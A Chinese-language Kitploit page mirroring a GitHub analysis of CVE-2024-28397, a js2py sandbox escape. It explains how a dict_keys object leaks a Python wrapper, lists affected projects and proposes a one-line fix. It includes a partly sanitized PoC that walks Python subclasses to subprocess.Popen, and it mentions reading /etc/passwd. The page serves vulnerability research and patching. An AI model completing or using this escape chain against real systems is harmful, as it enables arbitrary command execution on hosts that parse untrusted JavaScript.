Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-28397-js2py-Sandbox-Escape — 关于CVE-2024-28397的详细分析,这是js2py中的一个沙箱逃逸漏洞,通过Python对象遍历实现远程代码执行(RCE)。包含代码分析、PoC(概念验证)以及针对防御性研究的修复建议。 | Kitploit
工具/GitHubGitHub/naved124/cve-2024-28397-js2py-sandbox-escape
漏洞分析代码分析漏洞利用Web安全论文与研究学习与教育Payload 开发二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
GitHub
naved124/cve-2024-28397-js2py-sandbox-escape

CVE-2024-28397-js2py-Sandbox-Escape

关于CVE-2024-28397的详细分析,这是js2py中的一个沙箱逃逸漏洞,通过Python对象遍历实现远程代码执行(RCE)。包含代码分析、PoC(概念验证)以及针对防御性研究的修复建议。

查看仓库
61年前尚未审核
分享

CVE-2024-28397-js2py-沙箱逃逸

js2py 漏洞分析

介绍

js2py 是一个流行的 Python 包,可以在 Python 解释器中执行 JavaScript 代码。它被多种网络爬虫用于解析网站上的 JavaScript 代码。

js2py 中一个全局变量的实现存在漏洞,允许攻击者在 js2py 环境中获取对 Python 对象的引用,从而使攻击者能够逃逸 JS 环境并在主机上执行任意命令。

通常,用户会调用 js2py.disable_pyimport() 来阻止 JavaScript 代码逃逸 js2py 环境。但利用此漏洞,攻击者可以绕过此限制,在目标主机上执行任意命令。

威胁行为者可以托管一个包含恶意 JavaScript 文件的网站,或者通过 HTTP API 发送恶意脚本供受害者解析。通过这样做,他们可以在目标主机上执行任意 shell 命令,实现远程代码执行。


前言

js2py 是一个常用于爬虫的 Python 库,用于在原生 Python 环境中解析和执行 JS 代码。爬虫通常使用 js2py 解析从网络获取的 JS 代码,从而模拟浏览器环境。

然而,js2py 有一个对爬虫来说极其危险的函数:它支持在 JS 中导入和使用 Python 包,这意味着 js2py 允许 JS 代码操作各种 Python 库并直接与 Python 环境交互。正是因为这一点,我们可以使用类似 Jinja SSTI 的方法,在 js2py 环境中通过 Python 对象找到 subprocess.Popen 类,从而实现 RCE。

此外,由于 js2py 是 Python2 时代的包,被广泛使用且长期未维护,分析起来应该相对容易。


代码分析

JS 代码到 Python 代码

设置断点后发现,实际解析 JS 代码的地方是 host/jseval.py 中的 Eval 函数。通过在其中设置断点,可以看到 js2py 转换后的 Python 代码。

例如,这段 JS 代码:

let a = 114
console.log(a)

最终会被解析成这段 Python 代码:

var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))

可以看出,JS 层的变量都存储在 Python 变量 var 中。所有 JS 层的值都被干净地存储为 PyJs 类(这里的 Js 实际上是一个函数,后面会解释)。函数也通过 callprop 调用。正常情况下,JS 代码无法触碰 Python 对象。

在查看代码时,注意到作者非常喜欢使用字符串拼接来构造最终的 Python 代码,因此想到是否可以通过构造 JS 代码来生成非法的 Python 代码,从而构造任意 Python 代码并执行。但考虑到这条路径比后面的路径要困难得多,因此没有进一步探索。


Python 数据到 JS 数据

要获取 Python 对象并实现 RCE,首先需要了解 Python 对象是如何转换为 PyJs 对象的。

首先,定位 Js 函数的实现,在 base.py 中。Js 函数的作用是将传入的 Python 值转换为相应的 PyJs 值,从而使 JS 代码能够操作这些值。

def Js(val, Clamped=False):
    '''Converts Py type to PyJs type'''
    if isinstance(val, PyJs):
        return val
    elif val is None:
        return undefined
    elif isinstance(val, basestring):
        return PyJsString(val, StringPrototype)
    elif isinstance(val, bool):
        return true if val else false
    elif isinstance(val, float) or isinstance(val, int) or isinstance(
            val, long) or (NUMPY_AVAILABLE and isinstance(
                val,
                (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
                 numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
        # This is supposed to speed things up. may not be the case
        if val in NUM_BANK:
            return NUM_BANK[val]
        return PyJsNumber(float(val), NumberPrototype)
    ... # several lines omitted here
    else:  # try to convert to js object
        return py_wrap(val)

可以看出,Python 的基本数据结构如 bool、float、list 等会被转换为专门的 PyJs 类,而其他类型的数据则由 py_wrap 处理,最终成为 PyObjectWrapper 类。

普通的 PyJs 类表示数字、布尔等常见数据,而 PyObjectWrapper 表示特殊数据,如 Python 模块。因此,只要我们获得一个 PyObjectWrapper 类型的数据,就可以使用类似 Jinja SSTI 的属性访问方式来实现 RCE。

通常,PyObjectWrapper 类型的数据只能在启用导入 Python 包的功能时获得,但由于 js2py 长期未维护,且没有仔细考虑 Python2 和 Python3 的差异,最终导致了沙箱逃逸漏洞。

插曲:在查看 PyJs 的实现时,我看到作者写了这几行代码:

if six.PY3:
    PyJs.__hash__ = PyJs._fuck_python3
    PyJs.__truediv__ = PyJs.__div__

可以说作者非常不喜欢 Python3。


JS 函数实现

js2py 在提供将 JS 代码转换为 Python 代码的功能的同时,也提供了多个内置对象(如 console、Object)以支持 JS 代码的正常运行。

我们的最终目标是绕过 pyimport 的限制,获取一个 PyObjectWrapper 对象。从上面的分析可以看出,要凭空获得一个 PyObjectWrapper 对象,只能从内置对象的实现入手,从中提取一个 PyObjectWrapper 对象。

开始扫描内置对象的实现代码。从 constructors/jsobject.py 中可以看到 Object 对象中各种函数的实现,包括常用的 Object.keys。

然后,可以看到这个函数:

def getOwnPropertyNames(obj):
    if not obj.is_object():
        raise MakeError(
            'TypeError',
            'Object.getOwnPropertyDescriptor called on non-object')
    return obj.own.keys()

js2py 使用 dict 来表示 JS 中的对象。这里的 keys() 调用了 Python 字典的 keys()。学过 Python 的人都知道,在 Python2 中,这个函数返回列表,而在 Python3 中,它返回 dict_keys 视图。根据上面 Js 函数的实现,这个 dict_keys 会被转换为 PyObjectWrapper,因此我们可以实现 RCE。


实现 RCE

首先验证 getOwnPropertyNames 能否获取 PyObjectWrapper:

import js2py

code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""

js2py.eval_js(code)

它打印了 PyObjectWrapper(dict_keys([])),当然可以。

然后,基于这个对象,获取 __getattribute__ 函数,就能轻松实现 RCE。在编写 PoC 时,想得太复杂了;实际上,只需使用 __class__.__base__ 就能获取 __getattribute__ 函数。

接着,基于 __getattribute__ 函数获取 object 对象,然后编写一个递归函数来查找任何模块的任何类。这里为了 RCE,查找的是 subprocess.Popen。

注意(已净化): 下面的代码片段仅用于教育和研究目的。已进行了净化,以避免被滥用:敏感的 shell 命令和直接系统执行已被替换为占位符。请勿在生产或未修补的系统上运行此代码。

import js2py

code = """
let cmd = "DUMMY_CMD"  # replace with safe test command in a lab (e.g., 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}
// The next call would invoke subprocess.Popen with arguments — in the sanitized version
// we replace the actual system invocation with a placeholder for safety reasons.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""

# Note: js2py.eval_js(code) intentionally omitted to avoid running exploit code in this repository.

漏洞详情

  • 受影响组件的版本号:

    • 最新 js2py (<=0.74) 在 Python 3 下运行
  • 受影响的产品:

    • pyload/pyload
    • VeNoMouS/cloudscraper (将 js2py 用作可选的 'js 解释器')
    • dipu-bd/lightnovel-crawler
  • 复现步骤(仅限实验室):

    • 安装 Python3 < 3.12(js2py 目前不支持 Python 3.12)。
    • 运行 pip install js2py 安装 js2py,并在隔离的实验室环境中执行净化过的 PoC 脚本。原始 PoC 尝试运行类似 head -n 1 /etc/passwd 和计算器的命令;在此仓库中,这些已替换为安全的占位符。
    • 如果漏洞存在,研究人员将观察到可以从 Object.getOwnPropertyNames({}) 获取 PyObjectWrapper,从而允许属性遍历以访问 Python 内部。

修复

由于问题出在 getOwnPropertyNames 函数中,将其返回的 dict_keys 转换为普通列表即可解决。建议的补丁是在返回之前用 list(...) 包裹 obj.own.keys()。


免责声明

此仓库仅用于教育和防御性研究目的。未经明确授权,请勿使用此处的任何信息或代码攻击系统。PoC 片段已被净化,以避免被滥用。


为研究与防御用途编译并翻译。

下载工具